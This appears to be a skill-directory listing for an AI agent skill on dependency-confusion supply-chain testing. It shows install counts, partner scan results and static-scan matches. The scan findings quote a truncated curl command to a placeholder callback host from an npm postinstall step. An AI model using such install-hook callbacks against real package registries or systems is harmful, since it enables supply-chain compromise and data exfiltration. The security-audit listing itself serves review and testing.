{dependency-confusion}

Security

Supply-chain testing via package-manager dependency confusion: when internal package names resolve to attacker-controlled public registries, leading to malicious install and script execution. Use for npm/pip/gem/Maven/Composer/Docker manifest review and authorized red-team supply-chain exercises.

yaklang/hack-skills·3,449 installsno license
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Skill Stats

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Packaging1 fileSKILL.md is the whole skillDirectory Scan
External Dependencies2 possibleFrom 2 text matchesDirectory Scan
Tool AccessUnrestrictedNo allowed-tools declaredFrontmatter
SafetyWarn4 partner scansPartner Audits

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2/4SOURCES
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  • Partner Audits

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Partner Audits4 scans
WarnLOW

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  • NO_CODE

Noticed by the skill-sets.md static scan, which matches patterns in the text and does not audit behaviour:

  • Fetches content over the networkMatched: curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall
ProviderStatusLevelSummaryScanned
Gen Agent Trust HubpassSAFEThe skill is a markdown-only playbook providing educational and methodology guidelines for dependency confusion testing. It does not contain any executable scripts or active security risks.2026-09-15
Socketwarn—1 alert: gptSecurity2026-09-15
SnykpassLOWRisk: LOW · No issues2026-09-15
ZeroLeakspassNONEScore: 93/100 · 2 sections analyzed2026-04-16

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Skill contents

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Files
  • SKILL.md

This skill is contained by a single SKILL.md file.

External Dependencies
  • Mentions a downloaded scriptSKILL.md: curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall
  • Mentions a network requestSKILL.md: curl "https://

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Licensenot declared
Tool permissionsnone declared

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DimensionDirectory ScanAgent ReviewsInstaller ReportsPartner Audits
Safety1 flaggedwarn
External Dependencies2 matchesnonenone
Packaging100/100none
Licensenot declarednone
Tool Accessunrestrictednone
Real-World Fitnone
Writing Qualitynonenone
measured unmeasured not applicableColour repeats the wording beside it; it is never the only channel.

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